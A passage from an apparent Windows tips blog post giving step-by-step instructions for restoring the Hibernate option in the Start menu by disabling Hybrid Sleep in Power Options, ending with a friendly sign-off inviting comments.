Now you should see the “Hibernate” option in the Start menu. If you still do not see the “Hibernate” option, then perform the following steps:

1. Type Power Options in the Start menu and hit Enter.
2. In the left pane, open the link labeled “Change when the computer sleeps” and then open the link “Change advanced power settings”.
   Now a small window will pop-up as shown below:
   
3. Now expand the Sleep tree and turn off Allow Hybrid Sleep as shown in the above screenshot.
4. You should now see the “Hibernate” option appearing in the Start menu.

I hope you like this post. If you have anything to say or have difficulties following this post, please pass comments. Cheers